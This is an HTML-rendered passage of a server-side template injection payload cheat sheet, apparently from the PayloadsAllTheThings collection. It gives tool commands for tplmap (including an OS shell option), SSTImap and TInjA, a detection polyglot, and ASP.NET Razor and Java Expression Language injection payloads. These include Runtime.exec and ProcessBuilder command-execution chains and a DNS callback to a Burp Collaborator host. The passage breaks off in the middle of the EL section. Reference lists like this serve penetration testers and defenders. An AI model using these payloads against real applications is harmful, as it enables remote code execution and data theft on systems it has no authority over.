<a href="#detection_1" class="md-nav__link">
<span class="md-ellipsis">
Detection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#django-templates-for-post-exploitation" class="md-nav__link">
<span class="md-ellipsis">
Django Templates for post-exploitation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#cross-site-scripting" class="md-nav__link">
<span class="md-ellipsis">
Cross-site scripting
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#debug-information-leak" class="md-nav__link">
<span class="md-ellipsis">
Debug information leak
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#leaking-apps-secret-key" class="md-nav__link">
<span class="md-ellipsis">
Leaking apps Secret Key
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#admin-site-url-leak" class="md-nav__link">
<span class="md-ellipsis">
Admin Site URL leak
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#admin-username-and-password-hash-leak" class="md-nav__link">
<span class="md-ellipsis">
Admin username and password hash leak
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#jinja2" class="md-nav__link">
<span class="md-ellipsis">
Jinja2
</span>
</a>
<nav class="md-nav" aria-label="Jinja2">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#jinja2-basic-injection" class="md-nav__link">
<span class="md-ellipsis">
Jinja2 - Basic injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#jinja2-template-format" class="md-nav__link">
<span class="md-ellipsis">
Jinja2 - Template format
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#jinja2-debug-statement" class="md-nav__link">
<span class="md-ellipsis">
Jinja2 - Debug Statement
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#jinja2-dump-all-used-classes" class="md-nav__link">
<span class="md-ellipsis">
Jinja2 - Dump all used classes
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#jinja2-dump-all-config-variables" class="md-nav__link">
<span class="md-ellipsis">
Jinja2 - Dump all config variables
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#jinja2-read-remote-file" class="md-nav__link">
<span class="md-ellipsis">
Jinja2 - Read remote file
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#jinja2-write-into-remote-file" class="md-nav__link">
<span class="md-ellipsis">
Jinja2 - Write into remote file
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#jinja2-remote-code-execution" class="md-nav__link">
<span class="md-ellipsis">
Jinja2 - Remote Code Execution
</span>
</a>
<nav class="md-nav" aria-label="Jinja2 - Remote Code Execution">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#jinja2-forcing-output-on-blind-rce" class="md-nav__link">
<span class="md-ellipsis">
Jinja2 - Forcing output on blind RCE
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#exploit-the-ssti-by-calling-ospopenread" class="md-nav__link">
<span class="md-ellipsis">
Exploit the SSTI by calling os.popen().read()
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#exploit-the-ssti-by-calling-subprocesspopen" class="md-nav__link">
<span class="md-ellipsis">
Exploit the SSTI by calling subprocess.Popen
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#exploit-the-ssti-by-calling-popen-without-guessing-the-offset" class="md-nav__link">
<span class="md-ellipsis">
Exploit the SSTI by calling Popen without guessing the offset
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#exploit-the-ssti-by-writing-an-evil-config-file" class="md-nav__link">
<span class="md-ellipsis">
Exploit the SSTI by writing an evil config file.
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#jinja2-filter-bypass" class="md-nav__link">
<span class="md-ellipsis">
Jinja2 - Filter bypass
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#jinjava" class="md-nav__link">
<span class="md-ellipsis">
Jinjava
</span>
</a>
<nav class="md-nav" aria-label="Jinjava">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#jinjava-basic-injection" class="md-nav__link">
<span class="md-ellipsis">
Jinjava - Basic injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#jinjava-command-execution" class="md-nav__link">
<span class="md-ellipsis">
Jinjava - Command execution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#lessjs" class="md-nav__link">
<span class="md-ellipsis">
Lessjs
</span>
</a>
<nav class="md-nav" aria-label="Lessjs">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#lessjs-ssrf-lfi" class="md-nav__link">
<span class="md-ellipsis">
Lessjs - SSRF / LFI
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#lessjs-v3-command-execution" class="md-nav__link">
<span class="md-ellipsis">
Lessjs &lt; v3 - Command Execution
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#plugins" class="md-nav__link">
<span class="md-ellipsis">
Plugins
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#lodash" class="md-nav__link">
<span class="md-ellipsis">
Lodash
</span>
</a>
<nav class="md-nav" aria-label="Lodash">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#lodash-basic-injection" class="md-nav__link">
<span class="md-ellipsis">
Lodash - Basic Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#lodash-command-execution" class="md-nav__link">
<span class="md-ellipsis">
Lodash - Command Execution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#mako" class="md-nav__link">
<span class="md-ellipsis">
Mako
</span>
</a>
<nav class="md-nav" aria-label="Mako">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#direct-access-to-os-from-templatenamespace" class="md-nav__link">
<span class="md-ellipsis">
Direct access to os from TemplateNamespace:
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#pebble" class="md-nav__link">
<span class="md-ellipsis">
Pebble
</span>
</a>
<nav class="md-nav" aria-label="Pebble">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#pebble-basic-injection" class="md-nav__link">
<span class="md-ellipsis">
Pebble - Basic injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#pebble-code-execution" class="md-nav__link">
<span class="md-ellipsis">
Pebble - Code execution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#ruby" class="md-nav__link">
<span class="md-ellipsis">
Ruby
</span>
</a>
<nav class="md-nav" aria-label="Ruby">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#ruby-basic-injections" class="md-nav__link">
<span class="md-ellipsis">
Ruby - Basic injections
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ruby-retrieve-etcpasswd" class="md-nav__link">
<span class="md-ellipsis">
Ruby - Retrieve /etc/passwd
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ruby-list-files-and-directories" class="md-nav__link">
<span class="md-ellipsis">
Ruby - List files and directories
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#ruby-code-execution" class="md-nav__link">
<span class="md-ellipsis">
Ruby - Code execution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#smarty" class="md-nav__link">
<span class="md-ellipsis">
Smarty
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#twig" class="md-nav__link">
<span class="md-ellipsis">
Twig
</span>
</a>
<nav class="md-nav" aria-label="Twig">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#twig-basic-injection" class="md-nav__link">
<span class="md-ellipsis">
Twig - Basic injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#twig-template-format" class="md-nav__link">
<span class="md-ellipsis">
Twig - Template format
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#twig-arbitrary-file-reading" class="md-nav__link">
<span class="md-ellipsis">
Twig - Arbitrary File Reading
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#twig-code-execution" class="md-nav__link">
<span class="md-ellipsis">
Twig - Code execution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#java-velocity" class="md-nav__link">
<span class="md-ellipsis">
Java - Velocity
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#java-spring" class="md-nav__link">
<span class="md-ellipsis">
Java - Spring
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#pattemplate" class="md-nav__link">
<span class="md-ellipsis">
patTemplate
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#phplib-and-html_template_phplib" class="md-nav__link">
<span class="md-ellipsis">
PHPlib and HTML_Template_PHPLIB
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#plates" class="md-nav__link">
<span class="md-ellipsis">
Plates
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#references" class="md-nav__link">
<span class="md-ellipsis">
References
</span>
</a>
</li>
</ul>
</nav>
</div>
</div>
</div>
<div class="md-content" data-md-component="content">
<article class="md-content__inner md-typeset">
<h1 id="server-side-template-injection">Server Side Template Injection</h1>
<blockquote>
<p>Template injection allows an attacker to include template code into an existing (or not) template. A template engine makes designing HTML pages easier by using static template files which at runtime replaces variables/placeholders with actual values in the HTML pages</p>
</blockquote>
<h2 id="summary">Summary</h2>
<ul>
<li><a href="#templates-injections">Templates Injections</a></li>
<li><a href="#summary">Summary</a></li>
<li><a href="#tools">Tools</a></li>
<li><a href="#methodology">Methodology</a></li>
<li><a href="#aspnet-razor">ASP.NET Razor</a><ul>
<li><a href="#aspnet-razor---basic-injection">ASP.NET Razor - Basic injection</a></li>
<li><a href="#aspnet-razor---command-execution">ASP.NET Razor - Command execution</a></li>
</ul>
</li>
<li><a href="#expression-language-el">Expression Language EL</a><ul>
<li><a href="#expression-language-el---basic-injection">Expression Language EL - Basic injection</a></li>
<li><a href="#expression-language-el---one-liner-injections-not-including-code-execution">Expression Language EL - One-Liner injections not including code execution</a></li>
<li><a href="#expression-language-el---code-execution">Expression Language EL - Code Execution</a></li>
</ul>
</li>
<li><a href="#freemarker">Java - Freemarker</a><ul>
<li><a href="#freemarker---basic-injection">Freemarker - Basic injection</a></li>
<li><a href="#freemarker---read-file">Freemarker - Read File</a></li>
<li><a href="#freemarker---code-execution">Freemarker - Code execution</a></li>
<li><a href="#freemarker---sandbox-bypass">Freemarker - Sandbox bypass</a></li>
</ul>
</li>
<li><a href="#groovy">Groovy</a><ul>
<li><a href="#groovy---basic-injection">Groovy - Basic injection</a></li>
<li><a href="#groovy---read-and-create-file">Groovy - Read and create File</a></li>
<li><a href="#groovy---http-request">Groovy - HTTP request:</a></li>
<li><a href="#groovy---command-execution">Groovy - Command Execution</a></li>
<li><a href="#groovy---sandbox-bypass">Groovy - Sandbox Bypass</a></li>
</ul>
</li>
<li><a href="#handlebars">JavaScript - Handlebars</a><ul>
<li><a href="#handlebars---command-execution">Handlebars - Command Execution</a></li>
</ul>
</li>
<li><a href="#jade--codepen">Jade / Codepen</a></li>
<li><a href="#java">Java</a><ul>
<li><a href="#java---basic-injection">Java - Basic injection</a></li>
<li><a href="#java---retrieve-the-systems-environment-variables">Java - Retrieve the systems environment variables</a></li>
<li><a href="#java---retrieve-etcpasswd">Java - Retrieve /etc/passwd</a></li>
</ul>
</li>
<li><a href="#django-templates">Django Templates</a></li>
<li><a href="#jinja2">Python - Jinja2</a><ul>
<li><a href="#jinja2---basic-injection">Jinja2 - Basic injection</a></li>
<li><a href="#jinja2---template-format">Jinja2 - Template format</a></li>
<li><a href="#jinja2---debug-statement">Jinja2 - Debug Statement</a></li>
<li><a href="#jinja2---dump-all-used-classes">Jinja2 - Dump all used classes</a></li>
<li><a href="#jinja2---dump-all-config-variables">Jinja2 - Dump all config variables</a></li>
<li><a href="#jinja2---read-remote-file">Jinja2 - Read remote file</a></li>
<li><a href="#jinja2---write-into-remote-file">Jinja2 - Write into remote file</a></li>
<li><a href="#jinja2---remote-code-execution">Jinja2 - Remote Code Execution</a></li>
<li><a href="#jinja2---forcing-output-on-blind-rce">Forcing output on blind RCE</a></li>
<li><a href="#exploit-the-ssti-by-calling-ospopenread">Exploit the SSTI by calling os.popen().read()</a></li>
<li><a href="#exploit-the-ssti-by-calling-subprocesspopen">Exploit the SSTI by calling subprocess.Popen</a></li>
<li><a href="#exploit-the-ssti-by-calling-popen-without-guessing-the-offset">Exploit the SSTI by calling Popen without guessing the offset</a></li>
<li><a href="#exploit-the-ssti-by-writing-an-evil-config-file">Exploit the SSTI by writing an evil config file.</a></li>
<li><a href="#jinja2---filter-bypass">Jinja2 - Filter bypass</a></li>
</ul>
</li>
<li><a href="#jinjava">Java - Jinjava</a><ul>
<li><a href="#jinjava---basic-injection">Jinjava - Basic injection</a></li>
<li><a href="#jinjava---command-execution">Jinjava - Command execution</a></li>
</ul>
</li>
<li><a href="#lessjs">JavaScript - Lessjs</a><ul>
<li><a href="#lessjs---ssrf--lfi">Lessjs - SSRF / LFI</a></li>
<li><a href="#lessjs--v3---command-execution">Lessjs &lt; v3 - Command Execution</a></li>
<li><a href="#plugins">Plugins</a></li>
</ul>
</li>
<li><a href="#Lodash">JavaScript - Lodash</a><ul>
<li><a href="#Lodash---Basic-Injection">Lodash - Basic Injection</a></li>
<li><a href="#Lodash---Command-Execution">Lodash - Command Execution</a></li>
</ul>
</li>
<li><a href="#mako">Python - Mako</a><ul>
<li><a href="#direct-access-to-os-from-templatenamespace">Direct access to os from TemplateNamespace:</a></li>
</ul>
</li>
<li><a href="#pebble">Java - Pebble</a><ul>
<li><a href="#pebble---basic-injection">Pebble - Basic injection</a></li>
<li><a href="#pebble---code-execution">Pebble - Code execution</a></li>
</ul>
</li>
<li><a href="#ruby">Ruby</a><ul>
<li><a href="#ruby---basic-injections">Ruby - Basic injections</a></li>
<li><a href="#ruby---retrieve-etcpasswd">Ruby - Retrieve /etc/passwd</a></li>
<li><a href="#ruby---list-files-and-directories">Ruby - List files and directories</a></li>
<li><a href="#ruby---code-execution">Ruby - Code execution</a></li>
</ul>
</li>
<li><a href="#smarty">PHP - Smarty</a></li>
<li><a href="#twig">PHP - Twig</a><ul>
<li><a href="#twig---basic-injection">Twig - Basic injection</a></li>
<li><a href="#twig---template-format">Twig - Template format</a></li>
<li><a href="#twig---arbitrary-file-reading">Twig - Arbitrary File Reading</a></li>
<li><a href="#twig---code-execution">Twig - Code execution</a></li>
</ul>
</li>
<li><a href="#java---velocity">Java - Velocity</a></li>
<li><a href="#java---spring">Java - Spring</a></li>
<li><a href="#pattemplate">PHP - patTemplate</a></li>
<li><a href="#phplib-and-html_template_phplib">PHP - PHPlib</a></li>
<li><a href="#plates">PHP - Plates</a></li>
<li><a href="#references">References</a></li>
</ul>
<h2 id="tools">Tools</h2>
<ul>
<li>
<p><a href="https://github.com/Hackmanit/TInjA">TInjA</a> - An effiecient SSTI + CSTI scanner which utilizes novel polyglots
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a>tinja<span class="w"> </span>url<span class="w"> </span>-u<span class="w"> </span><span class="s2">&quot;http://example.com/?name=Kirlia&quot;</span><span class="w"> </span>-H<span class="w"> </span><span class="s2">&quot;Authentication: Bearer ey...&quot;</span>
<a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a>tinja<span class="w"> </span>url<span class="w"> </span>-u<span class="w"> </span><span class="s2">&quot;http://example.com/&quot;</span><span class="w"> </span>-d<span class="w"> </span><span class="s2">&quot;username=Kirlia&quot;</span><span class="w"> </span>-c<span class="w"> </span><span class="s2">&quot;PHPSESSID=ABC123...&quot;</span>
</code></pre></div></p>
</li>
<li>
<p><a href="https://github.com/epinna/tplmap">Tplmap</a> - Server-Side Template Injection and Code Injection Detection and Exploitation Tool
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="n">python2</span><span class="p">.</span><span class="n">7</span> <span class="p">./</span><span class="n">tplmap</span><span class="p">.</span><span class="n">py</span> <span class="n">-u</span> <span class="s1">&#39;http://www.target.com/page?name=John*&#39;</span> <span class="p">-</span><span class="n">-os-shell</span>
<a id="__codelineno-1-2" name="__codelineno-1-2" href="#__codelineno-1-2"></a><span class="n">python2</span><span class="p">.</span><span class="n">7</span> <span class="p">./</span><span class="n">tplmap</span><span class="p">.</span><span class="n">py</span> <span class="n">-u</span> <span class="s2">&quot;http://192.168.56.101:3000/ti?user=*&amp;comment=supercomment&amp;link&quot;</span>
<a id="__codelineno-1-3" name="__codelineno-1-3" href="#__codelineno-1-3"></a><span class="n">python2</span><span class="p">.</span><span class="n">7</span> <span class="p">./</span><span class="n">tplmap</span><span class="p">.</span><span class="n">py</span> <span class="n">-u</span> <span class="s2">&quot;http://192.168.56.101:3000/ti?user=InjectHere*&amp;comment=A&amp;link&quot;</span> <span class="p">-</span><span class="n">-level</span> <span class="n">5</span> <span class="n">-e</span> <span class="n">jade</span>
</code></pre></div></p>
</li>
<li>
<p><a href="https://github.com/vladko312/SSTImap">SSTImap</a> - Automatic SSTI detection tool with interactive interface based on <a href="https://github.com/epinna/tplmap">Tplmap</a>
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="n">python3</span> <span class="p">./</span><span class="n">sstimap</span><span class="p">.</span><span class="n">py</span> <span class="n">-u</span> <span class="s1">&#39;https://example.com/page?name=John&#39;</span> <span class="n">-s</span>
<a id="__codelineno-2-2" name="__codelineno-2-2" href="#__codelineno-2-2"></a><span class="n">python3</span> <span class="p">./</span><span class="n">sstimap</span><span class="p">.</span><span class="n">py</span> <span class="n">-u</span> <span class="s1">&#39;https://example.com/page?name=Vulnerable*&amp;message=My_message&#39;</span> <span class="n">-l</span> <span class="n">5</span> <span class="n">-e</span> <span class="n">jade</span>
<a id="__codelineno-2-3" name="__codelineno-2-3" href="#__codelineno-2-3"></a><span class="n">python3</span> <span class="p">./</span><span class="n">sstimap</span><span class="p">.</span><span class="n">py</span> <span class="n">-i</span> <span class="n">-A</span> <span class="n">-m</span> <span class="n">POST</span> <span class="n">-l</span> <span class="n">5</span> <span class="n">-H</span> <span class="s1">&#39;Authorization: Basic bG9naW46c2VjcmV0X3Bhc3N3b3Jk&#39;</span>
</code></pre></div></p>
</li>
</ul>
<h2 id="methodology">Methodology</h2>
<p><img alt="SSTI cheatsheet workflow" src="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Images/serverside.png?raw=true" /></p>
<h2 id="detection">Detection</h2>
<p>In most cases, this polyglot payload will trigger an error in presence of a SSTI vulnerability :</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a>${{&lt;%[%&#39;&quot;}}%\.
</code></pre></div>
<p>The <a href="https://github.com/Hackmanit/template-injection-table">Template Injection Table</a> is an interactive table containing the most efficient template injection polyglots along with the expected responses of the 44 most important template engines.</p>
<h2 id="aspnet-razor">ASP.NET Razor</h2>
<p><a href="https://docs.microsoft.com/en-us/aspnet/web-pages/overview/getting-started/introducing-razor-syntax-c">Official website</a></p>
<blockquote>
<p>Razor is a markup syntax that lets you embed server-based code (Visual Basic and C#) into web pages.</p>
</blockquote>
<h3 id="aspnet-razor-basic-injection">ASP.NET Razor - Basic injection</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="p">@(</span><span class="n">1</span><span class="p">+</span><span class="n">2</span><span class="p">)</span>
</code></pre></div>
<h3 id="aspnet-razor-command-execution">ASP.NET Razor - Command execution</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="err">@</span><span class="p">{</span>
<a id="__codelineno-5-2" name="__codelineno-5-2" href="#__codelineno-5-2"></a><span class="w"> </span><span class="c1">// C# code</span>
<a id="__codelineno-5-3" name="__codelineno-5-3" href="#__codelineno-5-3"></a><span class="p">}</span>
</code></pre></div>
<hr />
<h2 id="expression-language-el">Expression Language EL</h2>
<p><a href="https://docs.oracle.com/javaee/6/tutorial/doc/gjddd.html">Official website</a></p>
<blockquote>
<p>Expression Language (EL) is mechanism that simplifies the accessibility of the data stored in Java bean component and other object like request, session and application, etc. There are many operators in JSP that are used in EL like arithmetic and logical operators to perform an expression. It was introduced in JSP 2.0</p>
</blockquote>
<h3 id="expression-language-el-basic-injection">Expression Language EL - Basic injection</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="n">$</span><span class="p">{</span><span class="o">&lt;</span><span class="n">property</span><span class="o">&gt;</span><span class="p">}</span>
<a id="__codelineno-6-2" name="__codelineno-6-2" href="#__codelineno-6-2"></a><span class="n">$</span><span class="p">{</span><span class="mi">1</span><span class="o">+</span><span class="mi">1</span><span class="p">}</span>
<a id="__codelineno-6-3" name="__codelineno-6-3" href="#__codelineno-6-3"></a>
<a id="__codelineno-6-4" name="__codelineno-6-4" href="#__codelineno-6-4"></a><span class="err">#</span><span class="p">{</span><span class="o">&lt;</span><span class="n">expression</span><span class="w"> </span><span class="n">string</span><span class="o">&gt;</span><span class="p">}</span>
<a id="__codelineno-6-5" name="__codelineno-6-5" href="#__codelineno-6-5"></a><span class="err">#</span><span class="p">{</span><span class="mi">1</span><span class="o">+</span><span class="mi">1</span><span class="p">}</span>
<a id="__codelineno-6-6" name="__codelineno-6-6" href="#__codelineno-6-6"></a>
<a id="__codelineno-6-7" name="__codelineno-6-7" href="#__codelineno-6-7"></a><span class="n">T</span><span class="p">(</span><span class="o">&lt;</span><span class="n">javaclass</span><span class="o">&gt;</span><span class="p">)</span>
</code></pre></div>
<h3 id="expression-language-el-properties">Expression Language EL - Properties</h3>
<ul>
<li>Interesting properties to access <code>String</code>, <code>java.lang.Runtime</code></li>
</ul>
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="p">${</span><span class="n">2</span><span class="p">.</span><span class="n">class</span><span class="p">}</span>
<a id="__codelineno-7-2" name="__codelineno-7-2" href="#__codelineno-7-2"></a><span class="p">${</span><span class="n">2</span><span class="p">.</span><span class="n">class</span><span class="p">.</span><span class="n">forName</span><span class="p">(</span><span class="s2">&quot;java.lang.String&quot;</span><span class="p">)}</span>
<a id="__codelineno-7-3" name="__codelineno-7-3" href="#__codelineno-7-3"></a><span class="p">${</span><span class="s1">&#39;&#39;</span><span class="p">.</span><span class="n">getClass</span><span class="p">().</span><span class="n">forName</span><span class="p">(</span><span class="s1">&#39;java.lang.Runtime&#39;</span><span class="p">).</span><span class="n">getMethods</span><span class="p">()[</span><span class="n">6</span><span class="p">].</span><span class="n">toString</span><span class="p">()}</span>
</code></pre></div>
<h3 id="expression-language-el-one-liner-injections-not-including-code-execution">Expression Language EL - One-Liner injections not including code execution</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="c1">// DNS Lookup</span>
<a id="__codelineno-8-2" name="__codelineno-8-2" href="#__codelineno-8-2"></a><span class="n">$</span><span class="p">{</span><span class="s">&quot;&quot;</span><span class="p">.</span><span class="na">getClass</span><span class="p">().</span><span class="na">forName</span><span class="p">(</span><span class="s">&quot;java.net.InetAddress&quot;</span><span class="p">).</span><span class="na">getMethod</span><span class="p">(</span><span class="s">&quot;getByName&quot;</span><span class="p">,</span><span class="s">&quot;&quot;</span><span class="p">.</span><span class="na">getClass</span><span class="p">()).</span><span class="na">invoke</span><span class="p">(</span><span class="s">&quot;&quot;</span><span class="p">,</span><span class="s">&quot;xxxxxxxxxxxxxx.burpcollaborator.net&quot;</span><span class="p">)}</span>
<a id="__codelineno-8-3" name="__codelineno-8-3" href="#__codelineno-8-3"></a>
<a id="__codelineno-8-4" name="__codelineno-8-4" href="#__codelineno-8-4"></a><span class="c1">// JVM System Property Lookup (ex: java.class.path)</span>
<a id="__codelineno-8-5" name="__codelineno-8-5" href="#__codelineno-8-5"></a><span class="n">$</span><span class="p">{</span><span class="s">&quot;&quot;</span><span class="p">.</span><span class="na">getClass</span><span class="p">().</span><span class="na">forName</span><span class="p">(</span><span class="s">&quot;java.lang.System&quot;</span><span class="p">).</span><span class="na">getDeclaredMethod</span><span class="p">(</span><span class="s">&quot;getProperty&quot;</span><span class="p">,</span><span class="s">&quot;&quot;</span><span class="p">.</span><span class="na">getClass</span><span class="p">()).</span><span class="na">invoke</span><span class="p">(</span><span class="s">&quot;&quot;</span><span class="p">,</span><span class="s">&quot;java.class.path&quot;</span><span class="p">)}</span>
<a id="__codelineno-8-6" name="__codelineno-8-6" href="#__codelineno-8-6"></a>
<a id="__codelineno-8-7" name="__codelineno-8-7" href="#__codelineno-8-7"></a><span class="c1">// Modify session attributes</span>
<a id="__codelineno-8-8" name="__codelineno-8-8" href="#__codelineno-8-8"></a><span class="n">$</span><span class="p">{</span><span class="n">pageContext</span><span class="p">.</span><span class="na">request</span><span class="p">.</span><span class="na">getSession</span><span class="p">().</span><span class="na">setAttribute</span><span class="p">(</span><span class="s">&quot;admin&quot;</span><span class="p">,</span><span class="kc">true</span><span class="p">)}</span>
</code></pre></div>
<h3 id="expression-language-el-code-execution">Expression Language EL - Code Execution</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a><span class="c1">// Common RCE payloads</span>
<a id="__codelineno-9-2" name="__codelineno-9-2" href="#__codelineno-9-2"></a><span class="err">&#39;&#39;</span><span class="p">.</span><span class="na">class</span><span class="p">.</span><span class="na">forName</span><span class="p">(</span><span class="err">&#39;</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Runtime</span><span class="err">&#39;</span><span class="p">).</span><span class="na">getMethod</span><span class="p">(</span><span class="err">&#39;</span><span class="n">getRuntime</span><span class="err">&#39;</span><span class="p">,</span><span class="kc">null</span><span class="p">).</span><span class="na">invoke</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span><span class="kc">null</span><span class="p">).</span><span class="na">exec</span><span class="p">(</span><span class="o">&lt;</span><span class="n">COMMAND</span><span class="w"> </span><span class="n">STRING</span><span class="o">/</span><span class="n">ARRAY</span><span class="o">&gt;</span><span class="p">)</span>
<a id="__codelineno-9-3" name="__codelineno-9-3" href="#__codelineno-9-3"></a><span class="err">&#39;&#39;</span><span class="p">.</span><span class="na">class</span><span class="p">.</span><span class="na">forName</span><span class="p">(</span><span class="err">&#39;</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">ProcessBuilder</span><span class="err">&#39;</span><span class="p">).</span><span class="na">getDeclaredConstructors</span><span class="p">()</span><span class="o">[</span><span class="mi">1</span><span class="o">]</span><span class="p">.</span><span class="na">newInstance</span><span class="p">(</span><span class="o">&lt;</span><span class="n">COMMAND</span><span class="w"> </span><span class="n">ARRAY</span><span class="o">/</span><span class="n">LIST</span><span class="o">&gt;</span><span class="p">).</span><span class="na">start</span><span class="p">()</span>
<a id="__codelineno-9-4" name="__codelineno-9-4" href="#__codelineno-9-4"></a>
<a id="__codelineno-9-5" name="__codelineno-9-5" href="#__codelineno-9-5"></a><span class="c1">// Method using Runtime</span>
<a id="__codelineno-9-6" name="__codelineno-9-6" href="#__codelineno-9-6"></a><span class="err">#</span><span class="p">{</span><span class="n">session</span><span class="p">.</span><span class="na">setAttribute</span><span class="p">(</span><span class="s">&quot;rtc&quot;</span><span class="p">,</span><span class="s">&quot;&quot;</span><span class="p">.</span><span class="na">getClass</span><span class="p">().</span><span class="na">forName</span><span class="p">(</span><span class="s">&quot;java.lang.Runtime&quot;</span><span class="p">).</span><span class="na">getDeclaredConstructors</span><span class="p">()</span><span class="o">[</span><span class="mi">0</span><span class="o">]</span><span class="p">)}</span>
<a id="__codelineno-9-7" name="__codelineno-9-7" href="#__codelineno-9-7"></a><span class="err">#</span><span class="p">{</span><span class="n">session</span><span class="p">.</span><span class="na">getAttribute</span><span class="p">(</span><span class="s">&quot;rtc&quot;</span><span class="p">).</span><span class="na">setAccessible</span><span class="p">(</span><span class="kc">true</span><span class="p">)}</span>
<a id="__codelineno-9-8" name="__codelineno-9-8" href="#__codelineno-9-8"></a><span class="err">#</span><span class="p">{</span><span class="n">session</span><span class="p">.</span><span class="na">getAttribute</span><span class="p">(</span><span class="s">&quot;rtc&quot;</span><span class="p">).</span><span class="na">getRuntime</span><span class="p">().</span><span class="na">exec</span><span class="p">(</span><span class="s">&quot;/bin/bash -c whoami&quot;</span><span class="p">)}</span>
<a id="__codelineno-9-9" name="__codelineno-9-9" href="#__codelineno-9-9"></a>
<a id="__codelineno-9-10" name="__codelineno-9-10" href="#__codelineno-9-10"></a><span class="c1">// Method using process builder</span>
<a id="__codelineno-9-11" name="__codelineno-9-11" href="#__codelineno-9-11"></a><span class="n">$</span><span class="p">{</span><span class="n">request</span><span class="p">.</span><span class="na">setAttribute</span><span class="p">(</span><span class="s">&quot;c&quot;</span><span class="p">,</span><span class="s">&quot;&quot;</span><span class="p">.</span><span class="na">getClass</span><span class="p">().</span><span class="na">forName</span><span class="p">(</span><span class="s">&quot;java.util.ArrayList&quot;</span><span class="p">).</span><span class="na">newInstance</span><span class="p">())}</span>
<a id="__codelineno-9-12" name="__codelineno-9-12" href="#__codelineno-9-12"></a><span class="n">$</span><span class="p">{</span><span class="n">request</span><span class="p">.</span><span class="na">getAttribute</span><span class="p">(</span><span class="s">&quot;c&quot;</span><span class="p">).</span><span class="na">add</span><span class="p">(</span><span class="s">&quot;cmd.exe&quot;</span><span class="p">)}</span>
